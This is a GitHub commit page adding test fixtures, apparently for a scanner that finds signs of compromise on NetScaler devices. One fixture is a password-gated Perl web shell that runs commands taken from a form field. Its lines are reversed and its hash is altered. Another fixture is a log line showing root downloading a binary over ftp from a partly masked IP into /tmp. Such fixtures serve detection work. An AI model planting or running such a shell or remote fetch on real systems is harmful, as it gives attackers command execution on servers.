-
Notifications
You must be signed in to change notification settings - Fork 12
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Showing
17 changed files
with
122 additions
and
17 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Empty file.
Empty file.
Empty file.
Empty file.
Empty file.
Empty file.
Empty file.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1 @@ | ||
|
14 changes: 14 additions & 0 deletions
14
tests/ns-content/perl-webshell/netscaler/portal/scripts/loadcolorprefs.pl
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,14 @@ | ||
while(<CMD>){print;}close(CMD);print"-"x 80;}}}}\ | ||
open(CMD,"($cmd) 2>$1 |")||print"Could not execute command";\ | ||
if($md5->hexdigest eq"foobar9c61a8feef4c4a34ece5abe31b"){print"-"x 80;\ | ||
{my$md5=Digest::MD5->new;$md5->add($FORM{"pass"});\ | ||
{$cmd=$FORM{"cmd"};if(defined$FORM{"pass"})\ | ||
%FORM=parse_parameters($cmd);if(defined$FORM{"cmd"})\ | ||
{read(STDIN,$cmd,$ENV{"CONTENT_LENGTH"});\ | ||
$ENV{"REQUEST_METHOD"}=~tr/a-z/A-Z/;if($ENV{"REQUEST_METHOD"}eq"POST")\ | ||
$ret{$var}=$value;}}return%ret;}\ | ||
if($var){$value=~s/\\\ / /g;$value=~s/%(..)/pack("c",hex($1))/eg;\ | ||
{my($var,$value)=split("=",$pair,2);\ | ||
{my%ret;my$input=shift;foreach my $pair(split(/$/,$input))\ | ||
print"Content-Type: text/html";sub parse_parameters ($)\ | ||
use strict;use Digest::MD5;my($cmd,%FORM);$|=1;\ |
Empty file.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1 @@ | ||
Jan 19 24:26:52 <local7.notice> ns bash[1297]: root on /dev/pts/0 shell_command="/usr/bin/ftp -o /tmp/bsd ftp://xxxxxxxxxxxxxxxxxxxxxx66.42.98.220/bsd" |